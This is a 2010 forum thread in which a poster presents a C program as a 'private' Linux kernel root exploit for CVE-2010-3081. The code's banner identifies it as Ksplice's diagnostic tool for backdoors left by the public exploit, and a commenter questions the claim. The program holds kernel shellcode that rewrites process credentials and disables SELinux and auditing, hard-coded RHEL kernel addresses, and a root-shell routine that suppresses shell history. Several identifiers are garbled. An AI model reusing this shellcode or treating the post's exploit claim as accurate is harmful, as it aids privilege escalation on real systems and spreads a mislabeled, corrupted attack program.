kernel-2.6.18-164 Local 2010 Exploit Root Private ;)

Zombie_KsA · October 10, 2010

# Exploit Title: kernel-2.6.18-164 Local 2010 Exploit Root Private
# Date: 2010
# Author: SA H4x0r
# Version: 2.6.18-20 , 2.6.32-24 Kernel 2010 i686 And x86_64 local Private
# Tested on: Linux System
# Link : CVE-2010-3081 | Linux Security Updates Without a Reboot | Ksplice Uptrack
# Greetz : All Friends And v4-Team
------------------------------------------------------------------------------------------------------
*/
#include <poll.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/uts****.h>
#include <sys/socket.h>
#include <sched.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/resource.h>
#include <errno.h>
#define _GNU_SOURCE
#define __dgdhdytrg55 unsigned int
#define __yyrhdgdtfs66ytgetrfd unsigned long long
#define __dhdyetgdfstreg__ memcpy
#define BANNER "Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.\n" \
"(see http://www.ksplice.com/uptrack/cve-2010-3081)\n" \
"\n"
#define KALLSYMS "/proc/kallsyms"
#define TMAGIC_66TDFDRTS "/proc/timer_list"
#define SELINUX_PATH "/selinux/enforce"
#define RW_FOPS "timer_list_fops"
#define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
#define PREPARE_GGDTSGFSRFSD "prepare_creds"
#define OVERRIDE_GGDTSGFSRFSD "override_creds"
#define REVERT_DHDGTRRTEFDTD "revert_creds"
#define Y0Y0SMAP 0x100000UL
#define Y0Y0CMAP 0x200000UL
#define Y0Y0STOP (Y0Y0SMAP+0xFFC)
#define J0J0S 0x00200000UL
#define J0J0R00T 0x002000F0UL
#define PAGE_SIZE 0x1000
#define KERN_DHHDYTMLADSFPYT 0x1
#define KERN_DGGDYDTEGGETFDRLAK 0x2
#define KERN_HHSYPPLORQTWGFD 0x4
#define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
#define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
#define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
#define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
#define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
/* #define __print_verbose(s) do { fprintf(stdout, "%s", s); } while(0) */
#define __print_verbose(s) do { } while (0)
#define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
#define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
static char buffer[1024];
static int s;
static int flags=0;
volatile static socklen_t magiclen=0;
static int useidt=1, usefops=0, uselsm=0;
static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
static __dgdhdytrg55 _m_cpu_off=0;
static char krelease[64];
static char kversion[128];
#define R0C_0FF 14
static char ttrg0ccc[]=
"\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
"\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
"\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
"\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
"\xeb\xcc\x5e\x5b\x5f\x59\xc3";
#define R0YTTTTUHLFSTT_OFF1 5
#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
#define R0TDGFSRSLLSJ_SHSYSTGD 45
char r1ngrrrrrrr[]=
"\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
"\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
"\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
"\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
"\xff\xd3\x5f\x5f\x5a\x5b\xc3";
#define RJMPDDTGR_OFF 13
#define RJMPDDTGR_DHDYTGSCAVSF 7
#define RJMPDDTGR_GDTDGTSFRDFT 25
static char ttrfd0[]=
"\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
"\x58\x5f"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xc3";
/* implement selinux bypass for IDT ! */
#define RJMPDDTGR_OFF_IDT 14
#define RJMPDDTGR_DYHHTSFDARE 8
#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
static char ruujhdbgatrfe345[]=
"\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
"\x0f\x01\xf8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x48\xcf";
#define CJE_4554TFFDTRMAJHD_OFF 10
#define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
static char dis4blens4sel1nuxhayettgdr64545[]=
"\x41\x52\x50"
"\xb8\x00\x00\x00\x00"
"\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x89\x02"
"\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
"\x41\x89\x02"
"\x58\x41\x5a";
/* rhel LSM stuffs */
#define RHEL_LSM_OFF 98
struct LSM_rhel
{
__yyrhdgdtfs66ytgetrfd selinux_ops;
__yyrhdgdtfs66ytgetrfd capability_ops;
__yyrhdgdtfs66ytgetrfd dummy_security_ops;
__yyrhdgdtfs66ytgetrfd selinux_enforcing;
__yyrhdgdtfs66ytgetrfd audit_enabled;
const char *krelease;
const char *kversion;
};
struct LSM_rhel known_targets[4]=
{
{
0xffffffff8031e600ULL,
0xffffffff8031fec0ULL,
0xffffffff804acc00ULL,
0xffffffff804af960ULL,
0xffffffff8049b124ULL,
"2.6.18-164.el5",
"#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
},
{
0xffffffff8031f600ULL,
0xffffffff80320ec0ULL,
0xffffffff804afc00ULL,
0xffffffff804b2960ULL,
0xffffffff8049e124ULL,
"2.6.18-164.11.1.el5",
"#1 SMP Wed Jan 6 13:26:04 EST 2010"
},
{
0xffffffff805296a0ULL,
0xffffffff8052af60ULL,
0xffffffff806db1e0ULL,
0xffffffff806ddf40ULL,
0xffffffff806d5324ULL,
"2.6.18-164.11.1.el5xen",
"#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
},
{
0xffffffff8031f600ULL,// d selinux_ops
0xffffffff80320ec0ULL,// d capability_ops
0xffffffff804afc00ULL,// B dummy_security_ops
0xffffffff804b2960ULL,// B selinux_enforcing
0xffffffff8049e124ULL,// B audit_enabled
"2.6.18-164.11.1.el5",
"#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
}
};
static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
static int isSelinuxEnabled()
{
FILE *selinux_f;
selinux_f = fopen(SELINUX_PATH, "r");
if(selinux_f == NULL)
{
if(errno == EPERM)
return 1;
else
return 0;
}
fclose(selinux_f);
return 1;
}
static int wtfyourunhere_heee(char *out_release, char* out_version)
{
int ret; const char*ptr;
int count=0;
char r[32], *bptr;
struct uts**** buf;
ret = u****(&buf);
if(ret < 0)
return -1;
strcpy(out_release, buf.release);
strcpy(out_version, buf.version);
ptr = buf.release;
bptr = r;
memset(r, 0x00, sizeof®);
while(*ptr)
{
if(count == 2)
{
if(*ptr >= '0' && *ptr <= '9')
*bptr++ = *ptr;
else
break;
}
if(*ptr == '.')
count++;
ptr++;
}
if(strlen® < 1 || !atoi®)
return -1;
return atoi®;
}
static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
{
*((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
*((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
__dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
__dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
}
static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* file****, int ignore_flag)
{
FILE *ka;
char line[512];
char reloc_a[64];
char reloc[64];
if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
return 0;
ka = fopen(file****, "r");
if(!ka)
return 0;
while(fgets(line, 512, ka) != NULL)
{
char *l_p = line;
char *ra_p = reloc_a;
char *r_p = reloc;
memset(reloc, 0x00, sizeof(reloc));
memset(reloc_a, 0x00, sizeof(reloc_a));
while(*l_p != ' ' && (ra_p - reloc_a) < 64)
*ra_p++ = *l_p++;
l_p += 3;
while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
*r_p++ = *l_p++;
if(!strcmp(reloc, s))
{
return strtoull(reloc_a, NULL, 16);
}
}
return 0;
}
static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
{
return get_sym_ex(s, KALLSYMS, 0);
}
static int parse_cred(const char* val)
{
int i=0;
const char* p = val;
char local[64], *l;
for(i=0; i<3; i++)
{
memset(local, 0x00, sizeof(local));
l = local;
while(*p && *p != ',')
*l++ = *p++;
if(!(*p) && i != 2)
return -1;
_m_cred = strtoull(local, NULL, 16);
p++;
}
return 0;
}
#define SELINUX_OPS "selinux_ops"
#define DUMMY_SECURITY_OPS "dummy_security_ops"
#define CAPABILITY_OPS "capability_ops"
#define SELINUX_ENFORCING "selinux_enforcing"
#define AUDIT_ENABLED "audit_enabled"
struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
{
int i;
char mapbuf[128];
struct LSM_rhel *lsm = &(known_targets[0]);
if(check_rhel && !isRHHGDPPLADSF(krelease))
{
__pppp_tegddewyfg("!!! Not a RHEL kernel, will skip LSM method \n");
return NULL;
}
__print_verbose("$$$ Looking for known RHEL kernels.. \n");
for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
{
if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
{
__gggdfstsgdt_dddex("$$$ Known target kernel: %s %s \n", lsm->krelease, lsm->kversion);
return lsm;
}
}
__print_verbose("$$$ Locating symbols for new target...\n");
strcpy(mapbuf, "/boot/System.map-");
strcat(mapbuf, krelease);
dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
!dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
!dyn4nt4n1labeggeyrthryt.capability_ops ||
!dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
!dyn4nt4n1labeggeyrthryt.audit_enabled)
return NULL;
return &dyn4nt4n1labeggeyrthryt;
}
void error_no_symbol(const char *symbol)
{
fprintf(stderr,
"!!! Could not find symbol: %s\n"
"\n"
"A symbol required by the published exploit for CVE-2010-3081 is not\n"
"provided by your kernel. The exploit would not work on your system.\n",
symbol);
exit(-1);
}
static void put_your_hands_up_hooker(int argc, char *argv[])
{
int fd,ver,ret;
char __b[16];
fd = open(KALLSYMS, O_RDONLY);
ret = read(fd, __b, 16); // dummy read
if((fd >= 0 && ret > 0))
{
__print_verbose("$$$ can read /proc/kallsyms, will use for convenience\n"); // d0nt p4tch m3 br0
flags |= KERN_HHSYPPLORQTWGFD;
}
close(fd);
ver = wtfyourunhere_heee(krelease, kversion);
if(ver < 0)
__yyy_tegdtfsrer("!!! u**** failed\n");
__gggdfstsgdt_dddex("$$$ Kernel release: %s\n", krelease);
if(argc != 1)
{
while( (ret = getopt(argc, argv, "sflc:k:o:")) > 0)
{
switch(ret)
{
case 'f':
flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
break;
case 'l':
flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
break;
case 'c':
if(!optarg || parse_cred(optarg) < 0)
__yyy_tegdtfsrer("!!! Unable to parse cred codes\n");
break;
case 'k':
if(optarg)
_m_fops = strtoull(optarg, NULL, 16);
else
__yyy_tegdtfsrer("!!! Unable to parse fops numbers\n");
break;
case 's':
if(!isSelinuxEnabled())
__pppp_tegddewyfg("??? -s ignored: SELinux not enabled\n");
else
flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
break;
case 'o':
if(optarg)
_m_cpu_off = strtoull(optarg, NULL, 16);
else
__yyy_tegdtfsrer("!!! Unable to parse cpu_off numbers\n");
break;
}
}
}
if(ver >= 29) // needs cred structure
{
flags |= KERN_DGGDYDTEGGETFDRLAK;
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
{
_m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
_m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
_m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
}
if(!_m_cred[0])
error_no_symbol("prepare_creds");
if(!_m_cred[1])
error_no_symbol("override_creds");
if(!_m_cred[2])
error_no_symbol("revert_creds");
__print_verbose("$$$ Kernel credentials detected\n");
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
}
if(ver >= 30) // needs cpu offset
{
flags |= KERN_DHHDYTMLADSFPYT;
if(!_m_cpu_off)
_m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
if(!_m_cpu_off)
error_no_symbol("per_cpu__current_task");
__print_verbose("$$$ Kernel per_cpu relocs enabled\n");
*((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
*((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
}
}
static void env_prepare(int argc, char* argv[])
{
put_your_hands_up_hooker(argc, argv);
if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops
{
__print_verbose("??? Trying the timer_list_fops method\n");
if(!_m_fops)
_m_fops = get_sym(RW_FOPS);
/* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
* Thanks to the guy who killed this vector... you know who you are:)
* Lucky for you, there are more:)
*/
if(_m_fops)
{
usefops=1;
}
}
if(!(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
{
__print_verbose("??? Trying the LSM method\n");
curr_target = lsm_rhel_find_target(1);
if(!curr_target)
{
__print_verbose("!!! Unable to find target for LSM method\n");
}
else {
uselsm=1;
}
}
if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
{
// -i flag
curr_target = lsm_rhel_find_target(0);
if(!curr_target)
{
__pppp_tegddewyfg("!!! Unable to find target: continue without SELinux disabled\n");
/* remove Selinux Flag */
flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
}
}
if(!usefops && !useidt && !uselsm)
__yyy_tegdtfsrer("!!! All exploit methods failed.\n");
}
static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
{
int socklen_l = 8 + stack - addr - 16;
return socklen_l;
}
static void __setmcbuffer(__dgdhdytrg55 value)
{
int i;
__dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
*(p+i) = value;
}
static void y0y0stack()
{
void* map = mmap((void*)Y0Y0SMAP,
PAGE_SIZE,
PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
-1,0);
if(MAP_FAILED == map)
__xxxfdgftr_hshsgdt("mmap");
}
static void y0y0code()
{
void* map = mmap((void*)Y0Y0CMAP,
PAGE_SIZE,
#ifdef TRY_REMAP_DEFAULT
PROT_READ|PROT_WRITE,
#else
PROT_READ|PROT_WRITE|PROT_EXEC,
#endif
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
-1,0);
if(MAP_FAILED == map)
__xxxfdgftr_hshsgdt("mmap");
}
static int rey0y0code(unsigned long old)
{
int fd;
void *map;
volatile char wizard;
char cwd[1024];
getcwd(cwd, sizeof(cwd));
strcat(cwd, "/__tmpfile");
unlink(cwd);
fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
if(fd < 0)
return -1;
write(fd, (const void*)old, PAGE_SIZE);
if(munmap((void*)old, PAGE_SIZE) < 0)
return -1;
map = mmap((void*)old,
PAGE_SIZE,
PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED,
fd,0);
if(map == MAP_FAILED)
return -1;
/* avoid lazy page fault handler
* Triple Fault when using idt vector
* and no pages are already mapped:)
*/
wizard = *((char*)old);
unlink(cwd);
return wizard;
}
void finish_shellcode()
{
/* set shellcode level 2 */
if(flags & KERN_DGGDYDTEGGETFDRLAK)
{
__print_verbose("$$$ Using cred shellcode\n");
__dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
}
else
{
__print_verbose("$$$ Using standard shellcode\n");
__dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
*((unsigned int*)(J0J0R00T + R0C_0FF)) = getuid();
}
#ifdef TRY_REMAP_DEFAULT
if(rey0y0code(Y0Y0CMAP) < 0)
__yyy_tegdtfsrer("!!! Unable to remap\n");
#endif
}
int method_idt_main()
{
__yyrhdgdtfs66ytgetrfd *patch;
__print_verbose("$$$ Building shellcode - IDT method\n");
patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
*patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
{
__print_verbose("$$$ including code to disable SELinux\n");
p4tch_sel1nux_codztegfaddczda(curr_target);
}
__dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
finish_shellcode();
asm volatile("int $0xdd\t\n");
return (getuid() == 0);
}
int method_idt()
{
/* method_idt_main() crashes if no backdoor is present, so protect ourselves */
int pid;
pid = fork();
if (pid < 0) {
__xxxfdgftr_hshsgdt("!!! fork() failed");
return 0; // error
}
if (pid == 0) {
int r;
struct rlimit rlim = {0, 0};
setrlimit(RLIMIT_CORE, &rlim);
r = method_idt_main();
exit(r ? 0 : 1);
}
int status;
waitpid(pid, &status, 0);
if (status == 0)
return method_idt_main();
else
return 0;
}
void prepare_fops_lsm_shellcode()
{
__yyrhdgdtfs66ytgetrfd *patch;
__print_verbose("$$$ Building shellcode - fops/LSM method\n");
patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
*patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
__setmcbuffer(J0J0S);
if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
{
__print_verbose("$$$ including code to disable SELinux\n");
p4tch_sel1nux_codztegfaddczda(curr_target);
}
__dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
finish_shellcode();
}
int method_fops()
{
int fd;
struct pollfd pfd;
prepare_fops_lsm_shellcode();
fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
if(fd < 0)
__xxxfdgftr_hshsgdt("!!! could not open /proc/timer_list");
pfd.fd = fd;
pfd.events = POLLIN | POLLOUT;
poll(&pfd, 1, 0);
return (getuid() == 0);
}
int method_lsm()
{
int msqid;
prepare_fops_lsm_shellcode();
msqid = msgget(0, IPC_PRIVATE|0600);
if(msqid < 0)
__xxxfdgftr_hshsgdt("!!! msgget() failed");
msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
return (getuid() == 0);
}
int main(int argc, char*argv[])
{
int done;
printf(BANNER);
if (getuid() == 0) {
fprintf(stderr, "!!! Must run as non-root.\n");
return 1;
}
env_prepare(argc, argv);
y0y0stack();
y0y0code();
done = 0;
__pppp_tegddewyfg("$$$ Backdoor in LSM (1/3): ");
if (uselsm) {
__pppp_tegddewyfg("checking...");
done = method_lsm();
if (done)
__pppp_tegddewyfg("PRESENT\n");
else
__pppp_tegddewyfg("not present.\n");
} else {
__pppp_tegddewyfg("not available.\n");
}
if (!done) {
__pppp_tegddewyfg("$$$ Backdoor in timer_list_fops (2/3): ");
if (usefops) {
__pppp_tegddewyfg("checking...");
done = method_fops();
if (done)
__pppp_tegddewyfg("PRESENT\n");
else
__pppp_tegddewyfg("not present.\n");
} else {
__pppp_tegddewyfg("not available.\n");
}
}
if (!done) {
__pppp_tegddewyfg("$$$ Backdoor in IDT (3/3): ");
if (useidt) {
__pppp_tegddewyfg("checking...");
fflush(stdout);
done = method_idt();
if (done)
__pppp_tegddewyfg("PRESENT\n");
else
__pppp_tegddewyfg("not present.\n");
} else {
__pppp_tegddewyfg("NOT CHECKING\n");
}
}
munmap((void*)Y0Y0CMAP, PAGE_SIZE);
/* exec */
if(getuid() == 0)
{
pid_t pid;
printf("\n"
"Your in-memory kernel HAS A BACKDOOR that may have been left\n"
"by the published exploit for CVE-2010-3081.\n"
"\n"
"More information is available at\n"
" http://www.ksplice.com/uptrack/cve-2010-3081\n"
);
if (0) {
/* spawn root shell as demonstration */
pid = fork();
if(pid == 0)
{
char *args[] = {"/bin/sh", "-i", NULL};
char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
"PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
execve("/bin/sh", args, envp);
}
else
{
int status;
waitpid(pid, &status, 0);
}
}
}
else {
printf("\n"
"Your system is free from the backdoors that would be left in memory\n"
"by the published exploit for CVE-2010-3081.\n");
}
close(s);
return 0;
}

RAW OUTPUT TZhNdsBN

:-/

Flubber · October 10, 2010

#define BANNER "Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.\n" \
"(see http://www.ksplice.com/uptrack/cve-2010-3081)\n" \

Nu cumva este diagnostic tool-ul si nu exploit-ul in sine? Au/a mai fost postat(e) "exploit"/"exploit-uri" de genul.

Din cate am observat, exploit-ul in sine este pe acolo, nu mai inteleg nimic. Ii foloseste "proprietatile" pe post de test, sa determine daca esti infectat sau nu?

wind · October 10, 2010

L-a incercat careva ?

neur0 · October 24, 2010

2.6.18 este un kernel destul de vechi. Mai este folosit prin debian ?i RH, dar sunt tone de exploituri care escaladeaz? privilegiile pentru 2.6.x.

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kernel-2.6.18-164 Local 2010 Exploit Root Private ;)

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